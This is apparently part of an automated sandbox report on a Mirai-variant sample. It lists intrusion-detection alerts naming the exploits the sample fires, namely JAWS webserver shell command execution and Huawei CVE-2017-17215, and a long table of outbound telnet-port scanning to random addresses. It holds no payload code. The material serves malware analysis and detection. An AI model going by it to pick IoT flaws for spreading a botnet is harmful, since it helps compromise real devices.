2024-12-03T22:12:49.572137+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51242	147.253.67.213	80	TCP
2024-12-03T22:12:49.572137+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51242	147.253.67.213	80	TCP
2024-12-03T22:12:49.581257+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55060	217.196.3.238	80	TCP
2024-12-03T22:12:49.581257+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55060	217.196.3.238	80	TCP
2024-12-03T22:12:49.581382+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53038	20.237.132.254	80	TCP
2024-12-03T22:12:49.581382+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53038	20.237.132.254	80	TCP
2024-12-03T22:12:49.581479+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50076	158.10.175.47	80	TCP
2024-12-03T22:12:49.581479+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50076	158.10.175.47	80	TCP
2024-12-03T22:12:49.587792+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51042	2.255.198.226	80	TCP
2024-12-03T22:12:49.587792+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51042	2.255.198.226	80	TCP
2024-12-03T22:12:49.587816+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48276	4.9.106.198	80	TCP
2024-12-03T22:12:49.587816+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48276	4.9.106.198	80	TCP
2024-12-03T22:12:49.587980+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47244	195.30.186.224	80	TCP
2024-12-03T22:12:49.587980+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47244	195.30.186.224	80	TCP
2024-12-03T22:12:49.588000+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44946	139.112.38.214	80	TCP
2024-12-03T22:12:49.588000+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44946	139.112.38.214	80	TCP
2024-12-03T22:12:49.596801+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49902	218.189.209.103	80	TCP
2024-12-03T22:12:49.596801+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49902	218.189.209.103	80	TCP
2024-12-03T22:12:49.596886+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48434	18.121.250.66	80	TCP
2024-12-03T22:12:49.596886+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48434	18.121.250.66	80	TCP
2024-12-03T22:12:49.596960+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38622	61.165.13.141	80	TCP
2024-12-03T22:12:49.596960+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38622	61.165.13.141	80	TCP
2024-12-03T22:12:49.603245+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47578	49.163.134.78	80	TCP
2024-12-03T22:12:49.603245+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47578	49.163.134.78	80	TCP
2024-12-03T22:12:49.603404+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60870	19.8.122.110	80	TCP
2024-12-03T22:12:49.603404+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60870	19.8.122.110	80	TCP
2024-12-03T22:12:49.603465+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54956	61.251.195.136	80	TCP
2024-12-03T22:12:49.603465+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54956	61.251.195.136	80	TCP
2024-12-03T22:12:49.612521+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54588	58.222.117.176	80	TCP
2024-12-03T22:12:49.612521+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54588	58.222.117.176	80	TCP
2024-12-03T22:12:49.612601+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40480	172.57.84.69	80	TCP
2024-12-03T22:12:49.612601+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40480	172.57.84.69	80	TCP
2024-12-03T22:12:49.634553+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51652	137.220.131.130	80	TCP
2024-12-03T22:12:49.634553+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51652	137.220.131.130	80	TCP
2024-12-03T22:12:49.634557+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53814	85.42.116.185	80	TCP
2024-12-03T22:12:49.634557+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53814	85.42.116.185	80	TCP
2024-12-03T22:12:49.643557+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59906	20.153.23.73	80	TCP
2024-12-03T22:12:49.643557+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59906	20.153.23.73	80	TCP
2024-12-03T22:12:49.659370+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53190	159.13.192.56	80	TCP
2024-12-03T22:12:49.659370+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53190	159.13.192.56	80	TCP
2024-12-03T22:12:49.659415+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47806	8.134.250.104	80	TCP
2024-12-03T22:12:49.659415+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47806	8.134.250.104	80	TCP
2024-12-03T22:12:49.713230+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43634	129.209.87.146	80	TCP
2024-12-03T22:12:49.713230+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43634	129.209.87.146	80	TCP
2024-12-03T22:12:50.006419+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34662	187.120.13.214	80	TCP
2024-12-03T22:12:50.006419+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34662	187.120.13.214	80	TCP
2024-12-03T22:12:50.281980+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34276	41.84.224.45	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 22:11:43.803177118 CET	8163	23	192.168.2.23	27.19.155.159
Dec 3, 2024 22:11:43.803222895 CET	8163	23	192.168.2.23	97.224.243.28
Dec 3, 2024 22:11:43.803236961 CET	8163	23	192.168.2.23	129.60.203.27
Dec 3, 2024 22:11:43.803237915 CET	8163	23	192.168.2.23	122.0.18.29
Dec 3, 2024 22:11:43.803245068 CET	8163	23	192.168.2.23	181.201.235.232
Dec 3, 2024 22:11:43.803245068 CET	8163	23	192.168.2.23	212.252.248.56
Dec 3, 2024 22:11:43.803251982 CET	8163	23	192.168.2.23	52.223.38.6
Dec 3, 2024 22:11:43.803258896 CET	8163	23	192.168.2.23	196.242.46.194
Dec 3, 2024 22:11:43.803258896 CET	8163	23	192.168.2.23	1.59.86.143
Dec 3, 2024 22:11:43.803281069 CET	8163	23	192.168.2.23	162.214.227.228
Dec 3, 2024 22:11:43.803306103 CET	8163	23	192.168.2.23	48.208.22.10
Dec 3, 2024 22:11:43.803308964 CET	8163	23	192.168.2.23	172.224.196.212
Dec 3, 2024 22:11:43.803308964 CET	8163	23	192.168.2.23	45.50.116.147
Dec 3, 2024 22:11:43.803323030 CET	8163	23	192.168.2.23	217.166.73.14
Dec 3, 2024 22:11:43.803334951 CET	8163	23	192.168.2.23	132.15.73.195
Dec 3, 2024 22:11:43.803339005 CET	8163	23	192.168.2.23	152.187.38.172
Dec 3, 2024 22:11:43.803344965 CET	8163	23	192.168.2.23	115.220.251.70
Dec 3, 2024 22:11:43.803348064 CET	8163	23	192.168.2.23	61.10.2.73
Dec 3, 2024 22:11:43.803354979 CET	8163	23	192.168.2.23	98.131.97.124
Dec 3, 2024 22:11:43.803365946 CET	8163	23	192.168.2.23	59.191.151.20
Dec 3, 2024 22:11:43.803373098 CET	8163	23	192.168.2.23	121.76.195.51
Dec 3, 2024 22:11:43.803371906 CET	8163	23	192.168.2.23	161.124.156.57
Dec 3, 2024 22:11:43.803373098 CET	8163	23	192.168.2.23	109.73.6.63
Dec 3, 2024 22:11:43.803375959 CET	8163	23	192.168.2.23	58.163.251.64
Dec 3, 2024 22:11:43.803386927 CET	8163	23	192.168.2.23	168.182.62.98
Dec 3, 2024 22:11:43.803390980 CET	8163	23	192.168.2.23	129.173.139.90
Dec 3, 2024 22:11:43.803402901 CET	8163	23	192.168.2.23	61.9.125.243
Dec 3, 2024 22:11:43.803407907 CET	8163	23	192.168.2.23	192.207.79.2
Dec 3, 2024 22:11:43.803412914 CET	8163	23	192.168.2.23	81.56.140.246
Dec 3, 2024 22:11:43.803412914 CET	8163	23	192.168.2.23	155.70.106.130
Dec 3, 2024 22:11:43.803423882 CET	8163	23	192.168.2.23	40.94.51.244
Dec 3, 2024 22:11:43.803426981 CET	8163	23	192.168.2.23	112.7.67.172
Dec 3, 2024 22:11:43.803428888 CET	8163	23	192.168.2.23	4.54.78.145
Dec 3, 2024 22:11:43.803433895 CET	8163	23	192.168.2.23	162.224.79.10
Dec 3, 2024 22:11:43.803447008 CET	8163	23	192.168.2.23	107.207.74.29
Dec 3, 2024 22:11:43.803452015 CET	8163	23	192.168.2.23	166.133.88.141
Dec 3, 2024 22:11:43.803452015 CET	8163	23	192.168.2.23	128.140.77.0
Dec 3, 2024 22:11:43.803481102 CET	8163	23	192.168.2.23	110.168.60.188
Dec 3, 2024 22:11:43.803487062 CET	8163	23	192.168.2.23	110.187.116.154
Dec 3, 2024 22:11:43.803487062 CET	8163	23	192.168.2.23	197.24.27.7
Dec 3, 2024 22:11:43.803487062 CET	8163	23	192.168.2.23	46.80.181.99
Dec 3, 2024 22:11:43.803488970 CET	8163	23	192.168.2.23	211.165.225.19
Dec 3, 2024 22:11:43.803488970 CET	8163	23	192.168.2.23	108.188.29.82
Dec 3, 2024 22:11:43.803495884 CET	8163	23	192.168.2.23	218.21.203.88
Dec 3, 2024 22:11:43.803508997 CET	8163	23	192.168.2.23	160.62.149.209
Dec 3, 2024 22:11:43.803513050 CET	8163	23	192.168.2.23	39.243.197.137
Dec 3, 2024 22:11:43.803514957 CET	8163	23	192.168.2.23	4.255.92.164
Dec 3, 2024 22:11:43.803518057 CET	8163	23	192.168.2.23	49.241.137.180
Dec 3, 2024 22:11:43.803519964 CET	8163	23	192.168.2.23	109.156.53.98
Dec 3, 2024 22:11:43.803543091 CET	8163	23	192.168.2.23	142.132.66.214
Dec 3, 2024 22:11:43.803545952 CET	8163	23	192.168.2.23	130.14.134.59
Dec 3, 2024 22:11:43.803550005 CET	8163	23	192.168.2.23	145.76.87.210
Dec 3, 2024 22:11:43.803563118 CET	8163	23	192.168.2.23	49.97.144.230
Dec 3, 2024 22:11:43.803570986 CET	8163	23	192.168.2.23	113.57.59.182
Dec 3, 2024 22:11:43.803574085 CET	8163	23	192.168.2.23	149.174.216.99
Dec 3, 2024 22:11:43.803574085 CET	8163	23	192.168.2.23	23.94.144.249
Dec 3, 2024 22:11:43.803576946 CET	8163	23	192.168.2.23	118.231.62.84
Dec 3, 2024 22:11:43.803592920 CET	8163	23	192.168.2.23	46.170.178.198
Dec 3, 2024 22:11:43.803611994 CET	8163	23	192.168.2.23	135.254.142.174
Dec 3, 2024 22:11:43.803611994 CET	8163	23	192.168.2.23	94.180.187.128
Dec 3, 2024 22:11:43.803611994 CET	8163	23	192.168.2.23	98.24.105.73
Dec 3, 2024 22:11:43.803611994 CET	8163	23	192.168.2.23	165.235.32.83
Dec 3, 2024 22:11:43.803623915 CET	8163	23	192.168.2.23	120.250.124.183
Dec 3, 2024 22:11:43.803623915 CET	8163	23	192.168.2.23	112.171.169.144
Dec 3, 2024 22:11:43.803623915 CET	8163	23	192.168.2.23	62.32.5.147
Dec 3, 2024 22:11:43.803627968 CET	8163	23	192.168.2.23	46.231.227.194
Dec 3, 2024 22:11:43.803627968 CET	8163	23	192.168.2.23	220.121.214.202
Dec 3, 2024 22:11:43.803627968 CET	8163	23	192.168.2.23	154.206.64.101
Dec 3, 2024 22:11:43.803627968 CET	8163	23	192.168.2.23	178.81.81.114
Dec 3, 2024 22:11:43.803627968 CET	8163	23	192.168.2.23	107.127.46.140
Dec 3, 2024 22:11:43.803627968 CET	8163	23	192.168.2.23	39.50.84.48
Dec 3, 2024 22:11:43.803634882 CET	8163	23	192.168.2.23	107.239.46.78
Dec 3, 2024 22:11:43.803639889 CET	8163	23	192.168.2.23	167.99.83.12
Dec 3, 2024 22:11:43.803651094 CET	8163	23	192.168.2.23	95.163.218.59
Dec 3, 2024 22:11:43.803651094 CET	8163	23	192.168.2.23	208.205.236.241
Dec 3, 2024 22:11:43.803654909 CET	8163	23	192.168.2.23	131.247.54.62
Dec 3, 2024 22:11:43.803656101 CET	8163	23	192.168.2.23	48.31.136.145
Dec 3, 2024 22:11:43.803662062 CET	8163	23	192.168.2.23	46.250.196.175
Dec 3, 2024 22:11:43.803662062 CET	8163	23	192.168.2.23	206.172.134.209
Dec 3, 2024 22:11:43.803672075 CET	8163	23	192.168.2.23	83.111.155.181
Dec 3, 2024 22:11:43.803678036 CET	8163	23	192.168.2.23	1.228.141.140
Dec 3, 2024 22:11:43.803688049 CET	8163	23	192.168.2.23	150.224.234.90
Dec 3, 2024 22:11:43.803698063 CET	8163	23	192.168.2.23	124.65.163.159
Dec 3, 2024 22:11:43.803699970 CET	8163	23	192.168.2.23	123.28.187.137
Dec 3, 2024 22:11:43.803713083 CET	8163	23	192.168.2.23	85.237.23.24
Dec 3, 2024 22:11:43.803714037 CET	8163	23	192.168.2.23	93.191.95.66
Dec 3, 2024 22:11:43.803719044 CET	8163	23	192.168.2.23	112.52.55.71
Dec 3, 2024 22:11:43.803726912 CET	8163	23	192.168.2.23	93.115.136.67
Dec 3, 2024 22:11:43.803726912 CET	8163	23	192.168.2.23	9.134.146.43
Dec 3, 2024 22:11:43.803731918 CET	8163	23	192.168.2.23	74.233.231.190
Dec 3, 2024 22:11:43.803742886 CET	8163	23	192.168.2.23	210.176.241.17
Dec 3, 2024 22:11:43.803750992 CET	8163	23	192.168.2.23	63.14.135.133
Dec 3, 2024 22:11:43.803751945 CET	8163	23	192.168.2.23	129.107.6.209
Dec 3, 2024 22:11:43.803766966 CET	8163	23	192.168.2.23	71.203.104.48
Dec 3, 2024 22:11:43.803767920 CET	8163	23	192.168.2.23	162.240.183.246
Dec 3, 2024 22:11:43.803770065 CET	8163	23	192.168.2.23	218.91.146.19
Dec 3, 2024 22:11:43.803775072 CET	8163	23	192.168.2.23	221.22.210.48
Dec 3, 2024 22:11:43.803781033 CET	8163	23	192.168.2.23	88.157.174.96
Dec 3, 2024 22:11:43.803781033 CET	8163	23	192.168.2.23	178.110.169.247
Dec 3, 2024 22:11:43.803781033 CET	8163	23	192.168.2.23	137.84.80.24
Dec 3, 2024 22:11:43.803800106 CET	8163	23	192.168.2.23	179.241.150.156
Dec 3, 2024 22:11:43.803802013 CET	8163	23	192.168.2.23	203.84.150.8
Dec 3, 2024 22:11:43.803812981 CET	8163	23	192.168.2.23	111.186.44.88
Dec 3, 2024 22:11:43.803812981 CET	8163	23	192.168.2.23	149.97.188.240
Dec 3, 2024 22:11:43.803816080 CET	8163	23	192.168.2.23	106.77.217.27
Dec 3, 2024 22:11:43.803833961 CET	8163	23	192.168.2.23	208.111.94.122
Dec 3, 2024 22:11:43.803852081 CET	8163	23	192.168.2.23	136.169.60.177
Dec 3, 2024 22:11:43.803857088 CET	8163	23	192.168.2.23	73.194.135.82
Dec 3, 2024 22:11:43.803857088 CET	8163	23	192.168.2.23	165.152.168.149
Dec 3, 2024 22:11:43.803869009 CET	8163	23	192.168.2.23	198.15.120.176
Dec 3, 2024 22:11:43.803872108 CET	8163	23	192.168.2.23	179.19.242.84
Dec 3, 2024 22:11:43.803872108 CET	8163	23	192.168.2.23	179.63.173.45
Dec 3, 2024 22:11:43.803883076 CET	8163	23	192.168.2.23	18.19.55.128
Dec 3, 2024 22:11:43.803899050 CET	8163	23	192.168.2.23	222.40.172.36
Dec 3, 2024 22:11:43.803914070 CET	8163	23	192.168.2.23	153.199.161.183
Dec 3, 2024 22:11:43.803919077 CET	8163	23	192.168.2.23	165.231.33.169
Dec 3, 2024 22:11:43.803920984 CET	8163	23	192.168.2.23	107.161.81.24
Dec 3, 2024 22:11:43.803924084 CET	8163	23	192.168.2.23	128.129.217.55
Dec 3, 2024 22:11:43.803941011 CET	8163	23	192.168.2.23	112.168.232.233
Dec 3, 2024 22:11:43.803941011 CET	8163	23	192.168.2.23	108.163.223.1
Dec 3, 2024 22:11:43.803944111 CET	8163	23	192.168.2.23	186.248.40.153
Dec 3, 2024 22:11:43.803944111 CET	8163	23	192.168.2.23	87.212.74.200
Dec 3, 2024 22:11:43.803953886 CET	8163	23	192.168.2.23	171.107.227.88
Dec 3, 2024 22:11:43.803966045 CET	8163	23	192.168.2.23	204.71.238.100
Dec 3, 2024 22:11:43.803966045 CET	8163	23	192.168.2.23	183.105.14.65
Dec 3, 2024 22:11:43.803970098 CET	8163	23	192.168.2.23	140.24.137.107
Dec 3, 2024 22:11:43.803978920 CET	8163	23	192.168.2.23	94.37.181.196
Dec 3, 2024 22:11:43.803992033 CET	8163	23	192.168.2.23	189.201.144.229
Dec 3, 2024 22:11:43.803992987 CET	8163	23	192.168.2.23	20.187.58.91
Dec 3, 2024 22:11:43.803992033 CET	8163	23	192.168.2.23	119.207.111.9
Dec 3, 2024 22:11:43.804004908 CET	8163	23	192.168.2.23	9.165.202.136
Dec 3, 2024 22:11:43.804013014 CET	8163	23	192.168.2.23	217.141.0.246
Dec 3, 2024 22:11:43.804013014 CET	8163	23	192.168.2.23	166.96.164.98
Dec 3, 2024 22:11:43.804013968 CET	8163	23	192.168.2.23	170.118.115.166
Dec 3, 2024 22:11:43.804023981 CET	8163	23	192.168.2.23	182.26.194.201
Dec 3, 2024 22:11:43.804024935 CET	8163	23	192.168.2.23	199.67.96.245
Dec 3, 2024 22:11:43.804030895 CET	8163	23	192.168.2.23	60.182.214.167
Dec 3, 2024 22:11:43.804038048 CET	8163	23	192.168.2.23	204.227.127.24
Dec 3, 2024 22:11:43.804039001 CET	8163	23	192.168.2.23	137.230.139.180
Dec 3, 2024 22:11:43.804044008 CET	8163	23	192.168.2.23	53.34.191.34
Dec 3, 2024 22:11:43.804058075 CET	8163	23	192.168.2.23	123.15.243.124
Dec 3, 2024 22:11:43.804056883 CET	8163	23	192.168.2.23	27.253.92.153
Dec 3, 2024 22:11:43.804069996 CET	8163	23	192.168.2.23	136.254.76.209
Dec 3, 2024 22:11:43.804080963 CET	8163	23	192.168.2.23	163.149.91.213
Dec 3, 2024 22:11:43.804081917 CET	8163	23	192.168.2.23	132.126.229.148
Dec 3, 2024 22:11:43.804081917 CET	8163	23	192.168.2.23	196.7.67.212
Dec 3, 2024 22:11:43.804081917 CET	8163	23	192.168.2.23	81.86.219.181
Dec 3, 2024 22:11:43.804096937 CET	8163	23	192.168.2.23	154.28.22.25
Dec 3, 2024 22:11:43.804096937 CET	8163	23	192.168.2.23	31.25.159.118
Dec 3, 2024 22:11:43.804102898 CET	8163	23	192.168.2.23	194.70.119.103
Dec 3, 2024 22:11:43.804104090 CET	8163	23	192.168.2.23	145.154.65.151
Dec 3, 2024 22:11:43.804102898 CET	8163	23	192.168.2.23	122.178.146.235
Dec 3, 2024 22:11:43.804102898 CET	8163	23	192.168.2.23	65.73.89.151
Dec 3, 2024 22:11:43.804114103 CET	8163	23	192.168.2.23	24.170.197.214
Dec 3, 2024 22:11:43.804114103 CET	8163	23	192.168.2.23	76.104.115.129
Dec 3, 2024 22:11:43.804121971 CET	8163	23	192.168.2.23	108.28.70.7
Dec 3, 2024 22:11:43.804136038 CET	8163	23	192.168.2.23	53.108.63.229
Dec 3, 2024 22:11:43.804138899 CET	8163	23	192.168.2.23	38.31.3.25
Dec 3, 2024 22:11:43.804147005 CET	8163	23	192.168.2.23	104.114.203.166
Dec 3, 2024 22:11:43.804147959 CET	8163	23	192.168.2.23	151.237.95.188
Dec 3, 2024 22:11:43.804164886 CET	8163	23	192.168.2.23	61.216.89.34
Dec 3, 2024 22:11:43.804167986 CET	8163	23	192.168.2.23	58.238.164.7
Dec 3, 2024 22:11:43.804179907 CET	8163	23	192.168.2.23	135.223.164.87
Dec 3, 2024 22:11:43.804183006 CET	8163	23	192.168.2.23	183.215.129.91
Dec 3, 2024 22:11:43.804191113 CET	8163	23	192.168.2.23	114.41.59.145
Dec 3, 2024 22:11:43.804199934 CET	8163	23	192.168.2.23	198.121.110.30
Dec 3, 2024 22:11:43.804199934 CET	8163	23	192.168.2.23	212.88.174.250
Dec 3, 2024 22:11:43.804212093 CET	8163	23	192.168.2.23	212.94.40.254
Dec 3, 2024 22:11:43.804212093 CET	8163	23	192.168.2.23	65.131.244.62
Dec 3, 2024 22:11:43.804228067 CET	8163	23	192.168.2.23	165.23.239.45
Dec 3, 2024 22:11:43.804228067 CET	8163	23	192.168.2.23	18.149.166.131
Dec 3, 2024 22:11:43.804228067 CET	8163	23	192.168.2.23	164.7.191.148
Dec 3, 2024 22:11:43.804243088 CET	8163	23	192.168.2.23	136.197.210.82
Dec 3, 2024 22:11:43.804243088 CET	8163	23	192.168.2.23	13.250.72.75
Dec 3, 2024 22:11:43.804258108 CET	8163	23	192.168.2.23	183.24.11.70
Dec 3, 2024 22:11:43.804269075 CET	8163	23	192.168.2.23	122.39.18.81
Dec 3, 2024 22:11:43.804271936 CET	8163	23	192.168.2.23	139.216.52.253
Dec 3, 2024 22:11:43.804274082 CET	8163	23	192.168.2.23	67.151.16.40
Dec 3, 2024 22:11:43.804284096 CET	8163	23	192.168.2.23	27.76.124.96
Dec 3, 2024 22:11:43.804286957 CET	8163	23	192.168.2.23	172.179.145.115
Dec 3, 2024 22:11:43.804289103 CET	8163	23	192.168.2.23	148.61.162.253
Dec 3, 2024 22:11:43.804290056 CET	8163	23	192.168.2.23	131.11.179.251
Dec 3, 2024 22:11:43.804318905 CET	8163	23	192.168.2.23	88.249.169.140
Dec 3, 2024 22:11:43.804318905 CET	8163	23	192.168.2.23	63.127.18.178
Dec 3, 2024 22:11:43.804326057 CET	8163	23	192.168.2.23	153.37.132.151
Dec 3, 2024 22:11:43.804326057 CET	8163	23	192.168.2.23	148.83.47.108
Dec 3, 2024 22:11:43.804326057 CET	8163	23	192.168.2.23	95.26.31.122
Dec 3, 2024 22:11:43.804326057 CET	8163	23	192.168.2.23	88.56.44.222
Dec 3, 2024 22:11:43.804330111 CET	8163	23	192.168.2.23	117.207.172.51
Dec 3, 2024 22:11:43.804331064 CET	8163	23	192.168.2.23	61.242.175.125
Dec 3, 2024 22:11:43.804332018 CET	8163	23	192.168.2.23	47.134.196.11
Dec 3, 2024 22:11:43.804332018 CET	8163	23	192.168.2.23	126.237.108.168
Dec 3, 2024 22:11:43.804332972 CET	8163	23	192.168.2.23	25.213.125.68
Dec 3, 2024 22:11:43.804331064 CET	8163	23	192.168.2.23	93.109.47.19
Dec 3, 2024 22:11:43.804337025 CET	8163	23	192.168.2.23	40.161.153.117
Dec 3, 2024 22:11:43.804342031 CET	8163	23	192.168.2.23	80.171.220.98
Dec 3, 2024 22:11:43.804344893 CET	8163	23	192.168.2.23	104.204.145.237
Dec 3, 2024 22:11:43.804344893 CET	8163	23	192.168.2.23	32.28.161.242
Dec 3, 2024 22:11:43.804357052 CET	8163	23	192.168.2.23	150.255.103.22
Dec 3, 2024 22:11:43.804357052 CET	8163	23	192.168.2.23	72.159.109.198
Dec 3, 2024 22:11:43.804363966 CET	8163	23	192.168.2.23	48.161.116.100
Dec 3, 2024 22:11:43.804367065 CET	8163	23	192.168.2.23	102.24.17.48
Dec 3, 2024 22:11:43.804367065 CET	8163	23	192.168.2.23	223.231.219.24
Dec 3, 2024 22:11:43.804369926 CET	8163	23	192.168.2.23	196.211.27.67
Dec 3, 2024 22:11:43.804387093 CET	8163	23	192.168.2.23	223.208.120.88
Dec 3, 2024 22:11:43.804392099 CET	8163	23	192.168.2.23	100.241.10.6
Dec 3, 2024 22:11:43.804404020 CET	8163	23	192.168.2.23	157.206.88.57
Dec 3, 2024 22:11:43.804404020 CET	8163	23	192.168.2.23	121.14.121.92
Dec 3, 2024 22:11:43.804404974 CET	8163	23	192.168.2.23	148.33.189.233
Dec 3, 2024 22:11:43.804413080 CET	8163	23	192.168.2.23	124.213.251.156
Dec 3, 2024 22:11:43.804414988 CET	8163	23	192.168.2.23	118.155.93.141
Dec 3, 2024 22:11:43.804418087 CET	8163	23	192.168.2.23	138.195.253.73
Dec 3, 2024 22:11:43.804426908 CET	8163	23	192.168.2.23	74.209.93.22
Dec 3, 2024 22:11:43.804429054 CET	8163	23	192.168.2.23	162.61.158.184
Dec 3, 2024 22:11:43.804445028 CET	8163	23	192.168.2.23	91.117.4.23
Dec 3, 2024 22:11:43.804449081 CET	8163	23	192.168.2.23	83.140.133.140
Dec 3, 2024 22:11:43.804450989 CET	8163	23	192.168.2.23	149.100.197.212
Dec 3, 2024 22:11:43.804460049 CET	8163	23	192.168.2.23	112.131.129.226
Dec 3, 2024 22:11:43.804462910 CET	8163	23	192.168.2.23	107.108.171.206
Dec 3, 2024 22:11:43.804481030 CET	8163	23	192.168.2.23	125.223.63.72
Dec 3, 2024 22:11:43.804481983 CET	8163	23	192.168.2.23	43.220.182.172
Dec 3, 2024 22:11:43.804481983 CET	8163	23	192.168.2.23	72.135.229.230
Dec 3, 2024 22:11:43.804491997 CET	8163	23	192.168.2.23	186.108.149.119
Dec 3, 2024 22:11:43.804491997 CET	8163	23	192.168.2.23	112.161.222.154
Dec 3, 2024 22:11:43.804500103 CET	8163	23	192.168.2.23	144.150.142.21
Dec 3, 2024 22:11:43.804511070 CET	8163	23	192.168.2.23	153.97.220.196
Dec 3, 2024 22:11:43.804512024 CET	8163	23	192.168.2.23	130.58.231.122
Dec 3, 2024 22:11:43.804519892 CET	8163	23	192.168.2.23	73.147.236.194
Dec 3, 2024 22:11:43.804533958 CET	8163	23	192.168.2.23	94.46.55.230
Dec 3, 2024 22:11:43.804538012 CET	8163	23	192.168.2.23	98.15.112.122
Dec 3, 2024 22:11:43.804547071 CET	8163	23	192.168.2.23	190.243.112.37
Dec 3, 2024 22:11:43.804547071 CET	8163	23	192.168.2.23	125.213.175.6
Dec 3, 2024 22:11:43.804548979 CET	8163	23	192.168.2.23	129.37.80.116
Dec 3, 2024 22:11:43.804548979 CET	8163	23	192.168.2.23	23.105.117.34
Dec 3, 2024 22:11:43.804553032 CET	8163	23	192.168.2.23	122.132.68.255
Dec 3, 2024 22:11:43.804565907 CET	8163	23	192.168.2.23	222.186.5.141
Dec 3, 2024 22:11:43.804569960 CET	8163	23	192.168.2.23	153.166.77.111
Dec 3, 2024 22:11:43.804572105 CET	8163	23	192.168.2.23	135.190.189.158
Dec 3, 2024 22:11:43.804580927 CET	8163	23	192.168.2.23	196.205.121.46
Dec 3, 2024 22:11:43.804584980 CET	8163	23	192.168.2.23	143.179.196.18
Dec 3, 2024 22:11:43.804594994 CET	8163	23	192.168.2.23	157.17.119.244
Dec 3, 2024 22:11:43.804594994 CET	8163	23	192.168.2.23	17.138.205.81
Dec 3, 2024 22:11:43.804595947 CET	8163	23	192.168.2.23	124.15.176.26
Dec 3, 2024 22:11:43.804595947 CET	8163	23	192.168.2.23	163.8.120.69
Dec 3, 2024 22:11:43.804610014 CET	8163	23	192.168.2.23	161.20.223.13
Dec 3, 2024 22:11:43.804615021 CET	8163	23	192.168.2.23	208.144.236.220
Dec 3, 2024 22:11:43.804624081 CET	8163	23	192.168.2.23	188.54.100.103
Dec 3, 2024 22:11:43.804625034 CET	8163	23	192.168.2.23	135.136.165.110
Dec 3, 2024 22:11:43.804636002 CET	8163	23	192.168.2.23	80.187.203.233
Dec 3, 2024 22:11:43.804647923 CET	8163	23	192.168.2.23	27.188.59.194
Dec 3, 2024 22:11:43.804650068 CET	8163	23	192.168.2.23	90.180.226.154
Dec 3, 2024 22:11:43.804658890 CET	8163	23	192.168.2.23	173.130.113.249
Dec 3, 2024 22:11:43.804663897 CET	8163	23	192.168.2.23	170.97.15.195
Dec 3, 2024 22:11:43.804677963 CET	8163	23	192.168.2.23	104.111.52.100
Dec 3, 2024 22:11:43.804680109 CET	8163	23	192.168.2.23	78.139.97.53
